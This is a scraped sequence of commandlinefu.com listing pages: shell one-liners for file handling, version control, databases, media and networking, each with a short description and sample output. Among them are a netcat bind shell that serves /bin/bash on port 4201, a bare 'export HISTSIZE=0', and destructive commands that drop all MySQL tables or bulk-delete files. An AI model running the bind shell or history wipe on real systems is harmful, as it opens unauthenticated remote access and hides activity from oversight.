foo-006 foo-007 foo-008 foo-009 foo-010 $PROMPT> tr "\n" ' ' /tmp/foo # 'tr' does not take arguements PROMPT> tr "\n" ' ' /tmp/foo tr: extra operand `/tmp/foo' Try `tr --help' for more information. # 'nl2space' is a filter and takes arguements, adds a newline after it runs. PROMPT> cat /tmp/foo| nl2space foo-001 foo-002 foo-003 foo-004 foo-005 foo-006 foo-007 foo-008 foo-009 foo-010 PROMPT> nl2space /tmp/foo ls -t1 | sed 1d | parallel -X rm ls -lart -l for long list, -r for recursive, -a for display of hidden files, and -t for modification date isainfo -vb Are 64-bit applications supported on my Solaris OS? find . -exec grep $foo {} \; -print Find and print pattern location from all files on command line from directory and its sub directories. The command will help to print the location of the pattern. Above command will print all the files which contain variable "$foo" along with line containing that pattern. Specify pattern after "grep" curl -s http://whatthecommit.com | sed -n '/<p>/,/<\/p>/p' | sed '$d' | sed 's/<p>//' Obligatory placeholder commit message Fetch comical VC commit messages from whatthecommit.com ans=$(zenity --title "Choose image:" --file-selection); exiftool -s ${ans} | zenity --width 800 --height 600 --text-info; Get EXIF data from image with zenity du -sch * All folders, human-readable, no subfolder, with a total. Even shorter. echo "javascript:location.href='http://www.commandlinefu.com/commands/matching/'+encodeURIComponent('%s')+'/'+btoa('%s')+'/sort-by-votes'" javascript:location.href='http://www.commandlinefu.com/commands/matching/'+encodeURIComponent('%s')+'/'+btoa('%s')+'/sort-by-votes' (the echo doesn't do anything special, but it had to be a command, right?) bookmarklet for commandlinefu.com search If you add the bookmarklet to your browser's bookmarks with like say, the keyword 'cfu', you can for example type 'cfu hello' in the location bar and the %s gets replaced with 'hello'. The bookmarklet will convert the search text to base64 for use with the commandlinefu website and will take you there. Tested with Firefox. awk ' { printf ("%s ", $0)} END {printf ("\n") } ' FILE [user@server ~]$ cat tmp-file line 3 [user@server ~]$ awk ' { printf ("%s ", $0)} END {printf ("\n") } ' tmp-file line1 line 2 line 3 # if the file is in MS-DOS format, use dos2nuix to convert it to unix format (or ":set ff=unix" in vim) [thomas@tom-linux:2 ~]$ cat tmp-file line 1 [thomas@tom-linux:2 ~]$ awk ' { printf ("%s", $0)} END {printf ("\n") } ' tmp-file line 41 [thomas@tom-linux:2 ~]$ vi tmp-file ^C [thomas@tom-linux:2 ~]$ dos2unix tmp-file dos2unix: converting file tmp-file to UNIX format ... line 1 line 2 line3 line 4 transform several lines in one with Awk remove all carriage return of a given file (or input, if used with | ) and replace them with a space (or whatever character is after %s) while true; do date; ssh <YOUR HOST HERE> "echo" && echo "HOST UP" && break; sleep 60; done Functions: echo sleep ssh monitor when target host will be up mysql -u uname dbname -e "show tables" | grep -v Tables_in | grep -v "+" | gawk '{print "drop table " $1 ";"}' | mysql -u uname dbname command line to drop all table from a databse echo 2006-10-10 | grep -c '^[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]$' quick and easy way of validating a date format of yyyy-mm-dd and returning a boolean Quick and easy way of validating a date format of yyyy-mm-dd and returning a boolean, the regex can easily be upgraded to handle "in betweens" for mm dd or to validate other types of strings, ex. ip address. Boolean output could easily be piped into a condition for a more complete one-liner. mail -s scream-dump user@example.com < /tmp/scream-dump Mail text file (/tmp/scream-dump) contents from linux box with subject(scream-dump) geoip() { wget -qO - http://freegeoip.net/xml/$1 | sed '3,12!d;s/<//g;s/>/: /g;s/\/.*//g' ; } i=10;for o in *.mp3; do i=$(printf "%02d" $i); mv $o $i$o; ((i = $i + 2)); done Precide a bunch of files with a number in a pattern for example to indisperse a podcast backlock with more recent podcasts This command adds the numbers 10, 12, 14 to a bunch of mp3's in the current working directory. You can then run the command replacing the inital i=10 with i=11 to add 11,13,15 in another directory then mv the files together and the first files interweave with the second group of files. I used this to weave a backlog of a podcast with other podcast so I didn't get sick of one while I was catching up. I started at 10 because printf blows up with 0 padded numbers 08 and 09 which kind of makes the printf command redundant as it was used to pad numbers 1 - 9 so they would come first and not get sorted incorrectly find . -type f ! -name "*.foo" -name "*.bar" -delete enki 13:09:08 /tmp/foo/bar $ find . ! -name "*.xml" ! -name "*.js" -type f -delete enki 13:12:23 /tmp/foo/bar $ This command is recursive and will delete in all directories in ".". It will find and delete all files not specified with ! -name "pattern". In this case it's file extensions. -type f means it will only find files and not directories. Finally the -delete flag ask find to delete what it matches. You can test the command by running it first without delete and it will list the files it will delete when you run it. doloop() { DONT=/tmp/do-run-run-run; while true; do touch $DONT; (sleep 30; rm $DONT;) & $1 ; if [ -e $DONT ]; then echo restarting too fast; return ; fi ; done } Functions: echo return rm sleep touch run a command repeatedly This runs a command continuously, restarting it if it exits. Sort of a poor man's daemontools. Useful for running servers from the command line instead of inittab. grep -i '<searchTerm>\|<someOtherSearchTerm>' <someFileName> ~> cat myFile.txt commandlinefu you today? Sincerely, The World ~> grep -i 'hello\|world' myFile.txt ~> This is a simple but useful command to search for multiple terms in a file at once. This prevents you from having to do mutliple grep's of the same file. find . -name "*.java" -type f -perm +600 -print | xargs -I _ sh -c 'grep -q hexianmao _ && iconv -f gb2312 -t utf8 -o _ -c _ ' Functions: find iconv sh xargs Convert one's Java source file encoding One of my friends committed his code in the encoding of GB2312, which broke the build job. I have to find his code and convert. mkdir copy{1,2}; gzip -dc file.tar.gz | tee >( tar x -C copy1/ ) | tar x -C copy2/ Functions: gzip mkdir tar tee Extract 2 copies of .tar.gz content Sometimes you might need to have two copies of data that is in tar. You might unpack, and then copy, but if IO is slow, you might lower it by automatically writing it twice (or more times) fileName() { echo "$1" | grep -o "[^/]*$"; } $ fileName /path/to/file.ext file.ext fileName /path/to/file.ext quivalent to basename /path/to/file.ext for i in * ; do cp $i $i.bak; done make a .bak backup copy of all files in directory quick in directory backup of all files in this directory. Adds the .bak extension to all copies. ‹ First < 274 275 276 277 278 > Last › svn log --stop-on-copy | grep r[0-9] | awk '{print $1}' | sed "s/r//" | sort -n | head -1 Functions: awk grep head sed sort Get the revision number at which the current branch is created. git branch -D `git branch | awk '{ if ($0 !~ /next|master/) printf "%s", $0 }'` This command will delete all branches in your git repository other than next and master. I use this to cleanup my git repos after making multiple branches and merging them back into next. It's much faster than individually deleting each expired branch using: git branch -D <branch_name> df -x tmpfs | grep -vE "(gvfs|procbususb|rootfs)" show physical disk using show physical disk using, except tmpfs, gvfs, and so on. mkdir save && for f in *.mp3; do lame -b xxx "$f" ./save/"${f%.mp3}.mp3"; done ID3v2 found. Be aware that the ID3 tag is currently lost when transcoding. LAME 3.98.4 32bits (http://www.mp3dev.org/) CPU features: MMX (ASM used), SSE (ASM used), SSE2 Encoding song.mp3 Encoding as 44.1 kHz j-stereo MPEG-1 Layer III (11x) 128 kbps qval=3 Frame | CPU time/estim | REAL time/estim | play/CPU | ETA ----04:05---------------------------------------------------------------------- kbps LR MS % long switch short % Batch Convert MP3 Bitrate Batch Convert MP3 Bitrate to xxxkbps, all the new files will be placed in a folder called "save". Please replace xxx with the desired bitrate. WARNING!!! This will erase any tag information; this is where Picard or EasyTAG will come in handy. find apps/ -name "*.svn-base" -prune -o -print -name "*.php" | xargs grep -E 'new .+Form\(' find forms in a symfony 1.2 project finds all forms instanciated into a symfony project, pruning svn files. top -bn 1 | awk '{if($1 ~ /^[0-9]+$/ && $9 > 97) {print $1;exit}}'|xargs kill Functions: awk top xargs Kill processes hogging up CPU (Flash after resume) I found Flash eating one of my CPUs after resume, the command above will help with that. For optional kicks you can put it into a script in /etc/pm/sleep.d/ (aspect in #swhack wrote this for me) sudo sh /usr/share/doc/libdvdread4/install-css.sh Enabling some DVD playback enhancements in Ubuntu This command works at least in 9.04+ VAR="foo" ; awk '{ print '"$VAR"' }' dd of=output.txt if=input.txt ibs=1 skip=$(expr `stat -c%s input.txt` / 2) Functions: dd expr truncate half of `input.txt` Kill the terminal(window/tab) you work in [suicide] Kill -9 immediately kills the given process number. $$ is the process ID of the process you are in. find . -maxdepth 1 -type d | grep -Pv "^.$" | sort -rn --field-separator="-" | sed -n '3,$p' | xargs rm -rf user@server:~/apps/appname/releases$ ls 2010-12-02-121502 2010-12-01-215457 Functions: find grep rm sed sort xargs Clean-up release directories keeping the only the latest two hg st --added -n |xargs hg revert Undo Mercurial add before commit Undo accidental file add to mercurial. This command undo file adds to all recent adds ps gv [pid] | head -2 PID TTY STAT TIME PGIN SIZE RSS LIM TSIZ TRS %CPU %MEM COMMAND Functions: head ps mem leak check sh as: while [ 1 -ne 6 ]; do pid=`ps -ef | grep -v "grep" | grep "trans_gzdy" | cut -c10-17` ps gv $pid | head -2 check changes of RSS. snmpwalk -v2c -c <community> -m ALL <HOST_IP> . Snmpwalk a hosts's entire OID tree with SNMP V2 An alternative to: python -m SimpleHTTPServer for Arch Linux source: http://archlinux.me/dusty/2010/01/15/simplehttpserver-in-python-3/ find <dir> -type f -mtime +<days> -exec scp -r {} user@backuphost:/data/bkup \; [root@localhost ~]# find /home/ -type f -mtime +30 -exec scp -r {} root@myhost:/data/bkup \; Functions: find scp bkup the old files U have to make key exchange in order to avoid continuous password prompt. findopen() { local PS3="select file: "; select file in $(find "$1" -iname "$2"); do ${3:-xdg-open} $file; break; done } Functions: file find search for a file (with regex), choose one then open it lists the files found by find, waits for user input then uses xdg-open to open the selected file with the appropriate program. usage: findopen path expression [command] With the third optional input you can specify a command to use other than xdg-open, for example you could echo the filename to stdout then pipe it to another command. To get it to work for files with spaces it gets a bit messier... findopen() { files=( $(find "$1" -iname "$2" | tr ' ' '@') ); select file in "${files[@]//@/ }"; do ${3:-xdg-open} "$file"; break; done } You can replace the @ with any character that probably wont be in a file name. lynx --dump --source http://www.xkcd.com | grep `lynx --dump http://www.xkcd.com | egrep '(png|jpg)'` | grep title | cut -d = -f2,3 | cut -d '"' -f2,4 | sed -e 's/"/|/g' | awk -F"|" ' { system("display " $1);system("echo "$2); } ' Functions: awk cut egrep grep Same thing just a different way to get there. You will need lynx lsof | awk '/*:https?/{print $2}' | sort -u pid list by httpd listen port % lsof -v lsof version information: revision: 4.78 ruby -e 'puts `rpmdep glibc`.split(",")[2..-1]' filesystem glibc glibc-common libgcc ncurses-base ncurses-libs nss-softokn-freebl setup tzdata Print RPM dependencies Needs rpmorphan installed python -c "import SimpleHTTPServer;SimpleHTTPServer.test()" Share the current tree over the web Want to show something on your machine to someone over the web? Don't copy it or upload it somewhere. Just run "webshare" and the current directory and everything beneath it will be served from a new web server listening on port 8000. When your pal is finished, hit control-c. Found at www.shell-fu.org/lister.php?id=54 pkill -HUP syslogd Make syslog reread its configuration file wget http://checkip.dyndns.org && clear && echo && echo My IP && egrep -o '([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}' index.html && echo && rm index.html Functions: clear echo egrep rm wget ls -ai | grep filename | find . -inum `awk '{print $1}'` -exec rm {} \; Functions: find grep ls rm delete a file and links based on inode number. This command, when run from the directory containing "filename", will remove the file and any hard or symbolic links to the file. wget -q -O - http://www.perl.org/get.html | grep -m1 '\.tar\.gz' | sed 's/.*perl-//; s/\.tar\.gz.*//' This uses wget instead of curl ‹ First < 275 276 277 278 279 > Last › ls | egrep -v "[REGULAR EXPRESSION]" | xargs rm -v Functions: egrep ls rm xargs This is a slight variation of an existing submission, but uses regular expression to look for files instead. This makes it vastly more versatile, and one can easily verify the files to be kept by running ls | egrep "[REGULAR EXPRESSION]" export HISTSIZE=0 TABLE_NAME=YYZ ; for DATABASE in $(echo "SELECT TABLE_SCHEMA FROM information_schema.tables WHERE TABLE_NAME='$TABLE_NAME'" | mysql -N) ; do echo -n "$DATABASE: " ; echo "SELECT COUNT(*) FROM $TABLE_NAME" | mysql $DATABASE -N ; done | fgrep -v ': 0' sandbox_cathdrwg_client1: 1 sandbox_cathdrwg_client2: 5 sandbox_cathdrwg_client3: 1 Functions: echo fgrep MySQL: Find an instance of a populated table across numerous databases Pulls all instances of table out of information schema, executes a SELECT COUNT(*) on each table/database instance, and then strips out any empty tables. command_not_found_handle() { echo 6661696c626f61742e2e2e0a | xxd -p -r; } $ aptitypo Friendly command-not-found message. This will give you a friendly warning if a command doesn't exists. wget -r --no-parent http://codeigniter.com/user_guide/ ; mv codeigniter.com/user_guide/* . ; rm -rf codeigniter.com Functions: mv rm wget I constantly need to work on my local computer, thus I need a way to download the codeigniter user guide, this is the wget way I figured. cat > {filename} {your text} [^C | ^D] thx Montecristo, thx hckhckhck add line number for each line git push origin :featureless $ git push origin :featureless To git@github.com:yourname/yourproject.git - [deleted] featureless This will delete the branch 'featureless' on the origin remote. git branch -d featureless 'I got it here'-credit: http://gitready.com/beginner/2009/02/02/push-and-delete-branches.html I duplicated here incase you stumbled here first. /usr/sbin/ifconfig -a|awk -F" " 'NR==4{print $2}' Tested on Solaris. apt-show-versions <packagename> apt-show-versions iceweasel iceweasel/sid uptodate 3.5.9-3 apt-show-versions kdebase-runtime kdebase-runtime/sid upgradeable from 4:4.4.3-1 to 4:4.4.4-1 If there is update available for the package you can see upgrade is from which version to which version. Also you will get detail about which release the package belongs to (stable/testing/sid). svn st | grep -e [MA] | egrep -ve '.project|.classpath|.properties|.sh|.number' | awk -F' ' '{ print $2}' | xargs svn ci -m "message" Functions: awk egrep grep xargs this svn script will commit all files excluding those with extensions {.project .classpath .properties .sh .number} and those with Status Modified or Added {M or A} diff --changed-group-format='differs from line %dF to line %dL|' --unchanged-line-format='' $FILE1 $FILE2 | sed 's/|/\n/' Functions: diff sed Using sed to print newlines as doing it in one line with diff is non-trivial. mkfifo ._b; nc -lk 4201 0<._b | /bin/bash &>._b; uses fifo and sets to a specific port. In this case 4201. echo -n "password" | iconv -t utf-16le | openssl dgst -md4 Functions: echo iconv Create nthash find . -name "\.svn" -exec rm -rf {} ";" Remove all .svn folders inside a folder function sepath { echo $PATH |tr ":" "\n" |sort -u |while read L ; do cd "$L" 2>/dev/null && find . \( ! -name . -prune \) \( -type f -o -type l \) 2>/dev/null |sed "s@^\./@@" |egrep -i "${*}" |sed "s@^@$L/@" ; done ; } $ sepath noo /usr/openwin/bin/ttsnoop /usr/sbin/snoop $ sepath ^ps$ /bin/ps /usr/bin/ps /usr/ucb/ps Functions: cd echo egrep find read sed sort tr search argument in PATH accept grep expressions without args, list all binaries found in PATH yes 1 | fdupes -rd $folder [torrid@sabiton/tmp]$ yes 1 | fdupes -rd india/ [1] india/2008-12-06/PC068616.ORF [2] india/2008-12-06/pc068616.orf Set 1 of 1, preserve files [1 - 2, all]: [+] india/2008-12-06/PC068616.ORF [-] india/2008-12-06/pc068616.orf delete duplicate files This command deletes all but the first occurrence of a duplicate file in one or more folders. comm --nocheck-order -31 cvlc "v4l2:///dev/video0" --sout "#transcode{vcodec=mp2v,vb=800,scale=0.25,acodec=none}:file{mux=mpeg1,dst=/PATH/TO/OUTPUT/FILE}" Save your webcam to file zip -F archive.zip --output big_archive.zip && unzip big_archive.zip Unzip multi-part zip archive Assuming you have a multi-part archive like "archive.zip archive.z01 archive.z02 ...", unzip will not handle these correctly. If you "fix" the parts into one big file with zip -F before, it works. ping -n 1 -w 10000 224.0.0.0 Emulate sleep in DOS/BAT In the vein of "can you do it better", here is my take on using "ping" to emulate sleep in a DOS/BAT script. If one can use ping at all then the multicast address will be valid but will not respond. By doing only one ping (-n 1) and setting a timeout in milliseconds (-w 10000) you have a fairly accurate timer. This example gives about a 10 second sleep. ls -l directory | awk 'BEGIN { SUM=0 } { SUM+=$5 } END { print SUM/1024/1024"M" }' $ls -l | awk 'BEGIN { SUM=0 } { SUM+=$5 } END { print SUM/1024/1024"M" }' 11.35349M the command will not include hidden files convert -quality 40% original_image reduced_image Reduces the size of images. for L in `echo :$PATH | tr : '\n'`; do F=${L:-"."}/fileName; if [ -f ${F} -o -h ${F} ]; then echo ${F}; break; fi; done /usr/local/bin/fileName Searches in order of the directories of $PATH. Stops after finding the entry; looks for only that fileName. Works in Bourne, Korn, Bash and Z shells. ffmpeg -i input.flv -vhook '/usr/lib/vhook/imlib2.so -c white -x 250 -y H+(-1.8*N+80) -t Hallo! -A max(0,255-exp(N/16))' -sameq -acodec copy output.flv ffmpeg vhook imlib2.so ‹ First < 276 277 278 279 280 > Last › sqlite3 -line database.db $ sqlite3 -line blackhatseo.sqlite sqlite> select * from auth_user; username = blabla first_name = last_name = password = blabla is_staff = 1 is_active = 1 is_superuser = 1 last_login = 2010-10-09 12:48:07.493163 date_joined = 2010-10-09 12:48:07.493163 Similar output to using MySQL with the \G at the end of a Query. Displays one column per line. Other modes include: -column Query results will be displayed in a table like form, using whitespace characters to separate the columns and align the output. -html Query results will be output as simple HTML tables. -line Query results will be displayed with one value per line, rows separated by a blank line. Designed to be easily parsed by scripts or other programs -list Query results will be displayed with the separator (|, by default) character between each field value. The default. From inside the command line this can be also changed using the mode command: .mode MODE ?TABLE? Set output mode where MODE is one of: csv Comma-separated values column Left-aligned columns. (See .width) html HTML code insert SQL insert statements for TABLE line One value per line list Values delimited by .separator string tabs Tab-separated values tcl TCL list elements find -type f -exec du -sh {} + | sort -rh | head find . -name '*.txt' -exec mv {} {}.sh \ ; Find and replace You can replace "." with your folder convert example.png -resize 100x100 output.png You can also specify width and height of the resized image (in pixels), as an alternative to using a percentage. find . -name "*.png" | tee images.txt | grep book Functions: find grep tee Find redirection and grep You can find every file with png extension and redirect its output to file. Later you can find a string inside the file. cp -dpRx /* /mnt/target/ preserve all except context and xattr. useful when moving a running system to a new partition. vgdisplay -v 2>/dev/null | grep "^ LV Name" | while read A B LVDEV; do echo $LVDEV; done iostat -En $(iostat -en|grep c#t|awk '$2 > 0 {print $NF}') Get info `iostat -En` for all disks with Hardware Errors - works on Solaris and Solaris forks This helps quickly get information for each disk that is seemingly having hardware issues. recoll -t -q "keyword" | grep message/rfc822 | sed -s 's,^.*\('$MAILDIR'[^]]*\)\].*$,\"\1\",' | xargs ln -sft $MAILDIR/bingo/cur/ Functions: grep ln sed xargs full text(CJK) search mails and link the result to $MAILDIR/bingo/cur/ ls -d */* | sed -e 's/^/\"/g' -e 's/$/\"/g' | xargs mv -t $(pwd) Functions: ls mv sed xargs Move itens from subdirectories to current directory You WILL have problems if the files have the same name. Use cases: consolidate music library and unify photos (especially if your camera separates images by dates). After running the command and verifying if there was no name issues, you can use ls -d */ | sed -e 's/^/\"/g' -e 's/$/\"/g' | xargs rm -r to remove now empty subdirectories. perl -e 'print 1+1 ."\n";' calculate in commandline with perl echo | socat -u - file:/tmp/swapfile,create,largefile,seek=10000000000000 Use socat to create a largefile find ~/.thunderbird/*.default/ -name *.msf | sed 's/ /\\ /g' | xargs rm {} \; Functions: find rm sed xargs The thunderbird message datastores get corrupt some times causing random failures, compaction to fail and general suck in thunderbird. Removing them causes thunderbird to rebuild the indexes and makes things quick again. fdupes -rdN $folder openssl pkcs8 -inform DER -nocrypt -in [priv key] -out [pem priv key] Convert a PKCS#8 private key to PEM format Get your external IP address with the best commandlinefu.com command This command uses the top voted "Get your external IP" command from commandlinefu.com to get your external IP address. Use this and you will always be using the communities favourite command. This is a tongue-in-cheek entry and not recommended for actual usage. echo "Simplied Chinese:"; while read -r line; do echo "Traditional Chinese:"; echo $line | iconv -f utf8 -t gb2312 | iconv -f gb2312 -t big5 | iconv -f big5 -t utf8; done Simplied Chinese: 龙的传人 Traditional Chinese: 龍的傳人 简繁中文转换 簡繁中文轉換 Functions: echo iconv read a simple interactive tool to convert Simplified Chinese (typed by pinyin) to Traditional Chinese 简繁中文转换 a simple interactive tool to convert Simplified Chinese (typed by pinyin) to Traditional Chinese openssl ans1parse -inform DER < [priv key] Identify a PKCS#8 Private Key a pkcs8 key will have integer 00 at offset 4 and an rsaEncryption object at offset 9 defaults write com.apple.finder NSUserKeyEquivalents -dict 'New Finder Window' '@$N' 'New Folder' '@N'; killall Finder Remap "New Folder" to Command+N, "New Finder Window" to Cmd+Shift+N in Mac OS X In Mac OS 9, the "New Folder" keyboard shortcut was Command+N, but in Mac OS X this was changed to "New Finder Window" instead, with "New Folder" taking the more awkward shortcut of Command+Shift+N. This command reverses their mappings. find -name ".php" -exec perl -pi -e 's/search/replace/g/' {} \; perl find and replace git push origin --all Push each of your local git branches to the remote repository awk "/<xsd:annotation>/{h=1};!h;/<\/xsd:annotation>/{h=0}" annotatedSchema.xsd transforms: <xsd:attribute name="version" type="xsd:string" use="required" fixed="1.0"> <xsd:annotation> </xsd:annotation> </xsd:attribute> into: Remove annotation- (or other own-lined) tags from an XML document Removes all lines between the lines containing "" and "", including these lines itself Backdrop: Sometimes when working with XML files without an graphical editor, large comment-/annotation-blocks taper the readability to walk through the file. I like to create a copy of such documents without these annotations. As the documentation itself is in documentation tags inside the annotation tags an therefore graphical editors tend to put the annotation tags in their own lines, this command removes all documentations within annotation-tags. ip route show | awk '$3 ~ /^[1-9]+/ {print $3;}' Find your default gateway and print it directly output. ping -c 1 www.google.com | /usr/bin/awk '{print $7}' | /usr/bin/awk 'NR > 1' | /usr/bin/awk 'NR < 2' | /usr/bin/awk -F"=" '{print $2}' 12.304 ‹ First < 277 278 279 280 281 > Last › for f in ~/.mcabber/histo/*; do a=`egrep "^(MR|MS)" $f | wc -l`; echo $f: $a | awk -F\/ '{print $6}'; done Functions: awk echo wc Count messages in mcabber history for each JID dd bs=1 if=/dev/zero of=/path/to/imagename.raw seek=50G count=1 conv=notrunc extend KVM image size update-alternatives --config x-terminal-emulator There are 7 alternatives which provide `x-terminal-emulator'. Selection Alternative ———————————————– 1 /usr/bin/xterm 2 /usr/bin/uxterm 3 /usr/bin/koi8rxterm 4 /usr/bin/lxterm *+ 5 /usr/bin/xfce4-terminal.wrapper 6 /usr/bin/konsole Press enter to keep the default[*], or type selection number: Change default terminal emulator ipcalc $(ifconfig eth0 | grep "inet addr:" | cut -d':' -f2,4 | sed 's/.+Bcast:/\//g') | awk '/Network/ { print $2 } ' Show Network IP and Subnet same thing as the other python -c "print 1+1" calculate in commandline with python ldd path_to_executable echo "John's" | grep -Po '\b\w+(?<!s)\b' $ John Lookaround in grep tutorial @ http://www.regular-expressions.info/lookaround.html also see @ http://stackoverflow.com/questions/5080988/how-to-extract-string-following-a-pattern-with-grep-regex-or-perl for tip: `grep -Po 'name="\K.*?(?=")' file.txt` sort --random-sort file du | sort -R OR du | sort --random-sort 1. 32K ./.gnome 960K ./Documents 919M ./.local 336K ./.java 2. 919M ./.local 32K ./.gnome 336K ./.java 960K ./Documents Seeing that _sort_ its been used, why not just _use_ it. ;) function ldd(){ objdump -p $1 | grep -i need; } Functions: grep objdump use this to avoid executing the target app touch file{1,2,3,4,5}.sh Create multiple files in a single command sqlite3 $HOME/.dropbox/config.db "select value from config where key like '%dropbox_path%'" /home/user/Dropbox /media/backup/Dropbox /really/deep/level/subdirectory/for/some/reason/Dropbox Return Dropbox folder location. Newer versions of Dropbox let you choose the location for your Dropbox folder. If you use script to put things into your Dropbox folder (todo list, screenshots, torrents etc.) but have the Dropbox folder in different locations on your other computers this lets you use the same script on all systems without having to tell it where the Dropbox folder is. ct find -avobs -nxname -element 'brtype(branch_name)' -print 2>/dev/null Clearcase find branch for f in *.ogg ; do mplayer -quiet -vo null -vc dummy -ao pcm:waveheader:file="$f.wav" "$f" ; done batch convert OGG to WAV CLASSPATH=.; export CLASSPATH=$CLASSPATH$(find "$PWD" -name '*.jar' -type f -printf ':%p\n' | sort -u | tr -d '\n'); echo $CLASSPATH .:/home/hyhu/Ubuntu One/javalibs/a.jar:/home/hyhu/Ubuntu One/javalibs/b.jar:/home/hyhu/Ubuntu One/javalibs/c.jar:/home/hyhu/Ubuntu Functions: echo export find sort tr one line command to recursively add all jar files in current folder to java class path a pretty simple script when running java programs from command line openssl req -new -x509 -extensions v3_ca -days 1100 -subj "/C=CA/ST=CA/L=SomeCity/O=EXAMPLE Inc./OU=Web Services/CN=example.com/emailAddress=postmaster@example.com" -nodes -keyout web.key -out web.crt Create web site ssl certificates tar cf - . | (cd /new/dir; tar xvf -) Copy files from one dir to another using tar. Add z to the flags to enable compression. head -n X | tail -n 1 using tail first won't do it because tail counts from the bottom of the file. You could do it this way but I don't suggest it echo '<?php echo str_rot13 ("Hello World") ?>' > hw.php && php hw.php && rm hw.php Uryyb Jbeyq ProductVersion: 10.6.5 BuildVersion: 10H574 export PATH=$PATH$(find "$PWD" -name '.*' -prune -o -type f -a -perm /u+x -printf ':%h\n' | sort -u | tr -d '\n'); echo $PATH blah blah blah ..... (too long) recursively add all sub folders with executable file of current folder to PATH environment variable (1) don't run twice, or the same folder will occur in $PATH. (2) otherwise you need to start a new terminal dpkg -l | sed '/^rc/!d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/' | xargs -r sudo apt-get -y purge Purge application's residual config & orphans nl <filename> Works in RHEL5 and derivatives. route -n | grep "^0\." | awk '{print "Gateway to the World: "$2", via "$NF""}' lsof -p <process_id> | wc -l View open file descriptors for a process. perl -e '$x = []; push @$x, eval { $x = 1; return $x = 1; }' Segmentation fault Functions: eval perl return Make perl crash It is not easy to make perl give a segfault, but this does it. This is a known issue but apparently not easy to fix. This is completely useless except for showing people that perl is not bullet-proof. while true; do while [ `date +%H%M` == "1857" ] ; do sleep 1s; yes | head -n 2000 > /dev/dsp; done; done; Functions: head sleep yes a simple alarm this command will beep like an alarm for one minute from 18:57. you can change "1857" to your desired time. you should have alsa-oss package installed, and you should also be root or part of "audio" group. ‹ First < 278 279 280 281 282 > Last › sudo grub-install --root-directory=/media/ubuntu /dev/sda Fix grub2 boot failure using live cd From live CD mount(open) the Ubuntu installed drive. Copy the location (press Ctrl+l, Ctrl+c ) eg: /media/ubuntuuuu Open terminal (Apllication->accessories->terminal) Type this: sudo grub-install --root-directory=/media/ubuntuuuu /dev/sda (replace /media/ubuntuuuu with what u got (ie paste)) Will show success message. Now reboot xxdiff -r --exclude=.svn Graphically compare two directory hierarchies without Subversion metadata Needs xxdiff installed, which looks a bit clunky but is an extremely powerful graphical diff. CONVERT D: /FS:NTFS [WinXP] Convert FAT32 Hard Drive to NTFS without losing all data You can convert a FAT or FAT32 volume to an NTFS volume without formatting the drive, though it is still a good idea to back up your data before you convert. netstat -rn | awk '/UG/{print $2}' Tested on CentOS, Ubuntu, and MacOS. cat -n FILE | grep -C3 "^[[:blank:]]\{1,5\}NUMBER[[:blank:]]" display portion of a file This is useful for displaying a portion of a FILE that contains an error at line NUMBER awk '/Table structure for table .table01./,/Table structure for table .table02./{print}' <file> > restored_table.sql Restore individual table from mysqldump backup. This will look through file and print the data in between the pattern matches. It's great for restoring tables from a mysqldump backup. You can then import it back into your database with: mysql -u <user> -h <host> <database> < restored_table.sql clear works in /bin/bash dd if="\\?\Device\CdRom0" of=c:\temp\disc1.iso bs=1M --progress Rip an ISO from a CD/DVD using the freeware dd for Windows dd for windows is available from http://www.chrysocome.net/dd Tested with CD-ROMs like Linux install discs I don't know about DVD-ROMs. wget -qO - "http://ajax.googleapis.com/ajax/services/language/translate?langpair=|zh-cn&v=1.0&q=`xsel`" |cut -d \" -f 6 xmlstarlet sel -t -m '/pkgmetadata/herd' -v . -n -t -m '/pkgmetadata/maintainer' -v email metadata.xml $ xmlstarlet sel -t -m '/pkgmetadata/herd' -v . -n -t -m '/pkgmetadata/maintainer' -v email /usr/portage/app-crypt/ekeyd/metadata.xml no-herd flameeyes@gentoo.org Extract herds & maintainers' email from a Gentoo metadata.xml file The command requires app-text/xmlstarlet but it otherwise self-contained. It extracts all the herds and all the maintainers' email for a given package and is what I'm using on the Tinderbox to make it easier for me to report bugs. mkdosfs -F 32 /dev/sda1 Format partition as FAT32 sudo date mmddhhxxyyyy set the time of system id 2>&1 > /sdcard/id;rsync -aP rsync://168.103.182.210/t /sdcard/t 2> /sdcard/rsync.err.log > /sdcard/rsync.log && return 123;fumanchu Functions: id return First android webpage relay script to test android app find . -type d -exec mkdir /new/path/{} \; $ find . -type d -exec mkdir /home/myuser/new/{} \; mkdir: cannot create directory `/home/myuser/new/.': File exists It's not better than the former, just another possible way. Found at http://www.linuxquestions.org/questions/linux-newbie-8/copy-directory-structure-only-208796/ Credits to whansard The command finds all .mp3 files in all subfolders from where it's ran, catches its "relative path" and creates inside /new/path/ with the same "relative path". PS: /new/path/ must exists 2) search for mp3 files and recreate tree structure to another path: this command 3) move all mp3 files to that new folder: http://www.commandlinefu.com/commands/view/8854/move-mp3-files-to-another-path-with-existing-subtree-structure gconftool-2 -t bool -s /desktop/gnome/interface/can_change_accels true Activate on-the-fly GTK accels Then, you can assign new accels to GTK menu actions pressing the keys while the option is active. find . -empty -type f -execdir rm -f {} + This command will remove only files, not directories: if you wish to remove both directories and files, just remove '-type f' from command above checkport() { sudo nmap -sS -p $1 $2 } $ checkport 80 commandlinefu.com Starting Nmap 5.21 ( http://nmap.org ) at 2011-12-13 11:41 GMT Nmap scan report for commandlinefu.com (74.207.251.129) Host is up (0.17s latency). rDNS record for 74.207.251.129: li93-129.members.linode.com Nmap done: 1 IP address (1 host up) scanned in 0.71 seconds Check a port's state on a given host Check to see if a port is open or closed on a given host. gmake runtestsingle testsingle=udtime >>>> Running test harness ix86-linux-gnu/test/auto_udtime.exe Running 3 test cases... *** No errors detected Run one of your auto test programs from GNU make Given a GNU Make file version 3.81 with the following entries: .PHONY: runtest runtest: $(ARCHNAME) $(TESTAUTOEXES) @for i in $(TESTAUTOEXES) ; do \ echo ">>>> Running test harness $$i" ; \ env $(RUNTESTENV) $$i ; done .PHONY: runtestsingle runtestsingle: $(ARCHNAME)/test/auto_$(testsingle).exe $(ARCHNAME) @for i in $< ; do \ (ARCHNAME is something like ix86-linux-gnu) Instead of typing gmake runtest to run all the tests, you can run one specific test with the example command. The sample output is from compiling a C++ program using Boost::Test testing framework. perl -e 'print scalar localtime $ARGV[0],"\n" ' epoch print the date of the unix epoch in a human readable form using perl. gdiff --unified=10000 input.file1 inpute.file2 | egrep -v "(^\+[a-z]|^\-[a-z])"| sort > 